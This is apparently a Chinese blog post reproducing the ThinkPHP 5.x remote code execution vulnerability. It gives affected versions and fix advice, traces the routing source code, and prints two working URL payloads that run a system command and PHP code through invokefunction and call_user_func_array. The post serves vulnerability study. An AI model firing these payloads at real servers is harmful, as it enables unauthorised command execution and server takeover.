ThinkPHP RCE

前天晚上thinkphp官方宣布了更新,修复了一个可以getshell的漏洞。本来想及时复现一下,发现对该框架不是很了解,所以拖了一天,虽然现在依旧不是很熟悉该框架,但是漏洞的大致流程产生原因还是可以理解的,记录一下复现过程。

漏洞概述

产生原因:
由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞。
影响版本:
ThinkPHP
5.1.x(5.1.x~5.1.31)
5.0.x(5.0.x~5.0.23)
该漏洞可以导致php代码执行以及远程命令执行(RCE)。

修复建议

更新至最新版本/开启强制路由/参考commit的修改增加相关代码。

漏洞验证

我复现的版本是5.0.22,由于5.1与5.0版本有些不同,这里只考虑5.0.22版本复现。
POC验证:
payload ->?s=/index/\think\app|invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

复现过程

入口点在App.php文件中,可以看到如下代码

$dispatch默认为空,所以执行routeCheck方法,跟一下该方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
public static function routeCheck($request, array $config)
{
$path = $request->path(); // pathinfo
$depr = $config['pathinfo_depr'];
$result = false;

// 路由检测
$check = !is_null(self::$routeCheck) ? self::$routeCheck : $config['url_route_on'];
if ($check) {
// 开启路由
if (is_file(RUNTIME_PATH . 'route.php')) {
// 读取路由缓存
$rules = include RUNTIME_PATH . 'route.php';
is_array($rules) && Route::rules($rules);
} else {
$files = $config['route_config_file'];
foreach ($files as $file) {
if (is_file(CONF_PATH . $file . CONF_EXT)) {
// 导入路由配置
$rules = include CONF_PATH . $file . CONF_EXT;
is_array($rules) && Route::import($rules);
}
}
}

// 路由检测(根据路由定义返回不同的URL调度)
$result = Route::check($request, $path, $depr, $config['url_domain_deploy']);
// type=> module module=>$route
$must = !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must'];

if ($must && false === $result) {
// 路由无效
throw new RouteNotFoundException();
}
}

// 路由无效 解析模块/控制器/操作/参数... 支持控制器自动搜索
if (false === $result) {
$result = Route::parseUrl($path, $depr, $config['controller_auto_search']);
}

return $result;
}

这里调用了path方法,而path方法又调用了pathinfo方法,直接看这两段代码,在Request.php文件中:


$_SERVER[‘PATH_INFO’] = $_GET[Config::get(‘var_pathinfo’)];‘var_pathinfo’默认为s,也就是说$_GET[‘s’],因此pathinfo可控,等于path可控。
继续跟进routeCheck方法往下走,$path被带入到了check方法。经过check,会将’/‘替换为’|’不过不影响,最后返回一个module。接下来进入exec方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
protected static function exec($dispatch, $config)
{
switch ($dispatch['type']) {
case 'redirect': // 重定向跳转
$data = Response::create($dispatch['url'], 'redirect')
->code($dispatch['status']);
break;
case 'module': // 模块/控制器/操作
$data = self::module(
$dispatch['module'],
$config,
isset($dispatch['convert']) ? $dispatch['convert'] : null
);
break;
case 'controller': // 执行控制器操作
$vars = array_merge(Request::instance()->param(), $dispatch['var']);
$data = Loader::action(
$dispatch['controller'],
$vars,
$config['url_controller_layer'],
$config['controller_suffix']
);
break;
case 'method': // 回调方法
$vars = array_merge(Request::instance()->param(), $dispatch['var']);
$data = self::invokeMethod($dispatch['method'], $vars);
break;
case 'function': // 闭包
$data = self::invokeFunction($dispatch['function']);
break;
case 'response': // Response 实例
$data = $dispatch['response'];
break;
default:
throw new \InvalidArgumentException('dispatch type not support');
}

return $data;
}

接下来调用module方法,

通过invokeMethod进行构建出的class进行调用,最后调用invokeFunction结束。
invokeFunction方法

两个参数,举个栗子:
$function=test,$vars=[1,2],就相当于调用test(1,2)。
因此我们构造 function=call_user_func_array,然后vars[0]传入要执行的函数名,vars[1][]传入要执行的参数。
可以远程执行命令也可以执行php代码,执行代码payload如下
?s=./think\app|invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()
index可以用“.”代替

复现至此结束,由于对thinkphp框架了解不深,复现过程也是懵懵懂懂,以后再回来填这个坑吧。

参考文章

ThinkPHP5 getshell漏洞预警

文章目录
  1. 1. 漏洞概述
  2. 2. 修复建议
  3. 3. 漏洞验证
  4. 4. 复现过程
  5. 5. 参考文章